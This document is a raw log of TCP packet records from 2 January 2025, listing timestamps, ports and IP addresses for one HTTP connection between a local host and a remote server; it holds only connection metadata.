Jan 2, 2025 20:34:53.704586029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.704623938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709311008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709325075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709342957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709353924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709367037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709377050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709377050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709388018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709400892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709424019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709448099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709455013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709456921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709464073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709494114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709496975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709506989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709508896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709527969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709533930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709537983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709543943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709547997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.709558964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.709587097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.710408926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710431099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710453987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.710479021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.710546017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710556984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710567951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710577965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710588932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710598946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.710599899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.710633993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.711469889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711524963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.711525917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711536884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711548090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711560965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.711565971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711576939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711580038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.711587906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711599112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.711622953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.711641073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.781821966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781847000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781858921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781869888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781883955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781900883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781908035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.781912088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781920910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781930923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781938076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.781943083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781946898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781958103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781969070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781981945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.781987906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782023907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782038927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782048941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782059908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782068968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782078981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782078981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782089949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782097101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782105923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782118082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782124996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782128096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782140017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782150030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782155037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782172918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782177925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782190084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782200098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782205105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782217026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782219887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782243967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782257080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782268047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782285929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782322884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782332897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782342911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782352924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782370090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782371044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782380104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782391071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782397032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782402039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782414913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782442093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782524109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782533884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782545090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782556057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782556057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782588959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782607079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782627106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782639027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782646894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782649040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782660961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.782676935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.782706022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.315299034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.320265055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.702008963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.702028036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.702039003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.702049971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.702088118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.702126026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.703608990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.703660965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.703670979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.703680992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.703708887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.703732967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.705251932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.705287933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.705295086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:54.705327034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.821676016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:54.826625109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.222863913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.222899914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.222910881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.222986937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.222986937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.224308014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.224318981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.224328995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.224340916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.224349976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.224353075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.224379063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.227792025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.227802992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.227813005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.227823973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.227838993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.227860928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.229389906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.229399920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.229415894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.229427099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.229433060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.229440928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.229449034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.229465008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.229480982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.232712984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.232722998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.232733011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.232759953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.232762098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.232770920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.232793093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.232809067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.234519005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.234530926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.234540939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.234551907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.234575033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.234590054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.236107111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.236118078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.236128092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.236138105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.236141920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.236177921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.239583969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239593029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239598989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239613056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239623070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239633083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.239635944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.239655018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.239670992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.241234064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.241262913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.241272926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.241283894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.241287947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.241312027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.244504929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.244524002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.244532108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.244541883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.244568110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.244585037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.246238947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.246249914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.246259928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.246270895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.246283054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.246325016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.247875929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.247885942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.247903109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.247912884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.247919083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.247921944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.247936964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.247956038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.251676083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.251693010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.251708984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.251714945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.251719952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.251730919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.251748085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.251758099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.253210068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.253221035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.253231049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.253242016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.253256083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.253263950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.253283024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.256432056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.256458044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.256469011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.256479979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.256504059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.256535053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.258042097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.258060932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.258071899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.258076906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.258084059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.258100033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.258121014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.261486053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.261497974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.261507988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.261533022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.261560917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.263204098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.263220072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.263230085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.263240099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.263247013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.263252020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.263286114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.264902115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.264913082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.264923096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.264946938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.264972925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.268218994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.268244028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.268254042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.268264055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.268274069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.268280029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.268311977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.269836903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.269849062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.269859076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.269870043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.269879103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.269882917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.269918919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.273174047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.273185968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.273196936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.273206949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.273225069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.273260117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.275137901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.275156021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.275187969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.275250912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.275259972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.275270939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.275283098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.275300980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.276603937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.276614904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.276624918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.276699066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.279830933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.279917955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.279989958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.279999018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.280000925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.280011892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.280021906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.280023098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.280054092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.281764030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.281774998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.281785011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.281795025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.281806946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.281850100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.285048962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.285059929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.285074949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.285085917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.285094976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.285096884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.285157919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.286859035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.286870003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.286880970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.286890984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.286906958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.286928892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.288496017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.288505077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.288520098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.288531065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.288539886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.288547993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.288578033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.291748047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.291806936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.291816950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.291826963 CET	80	49730	47.254.187.72	192.168.2.4
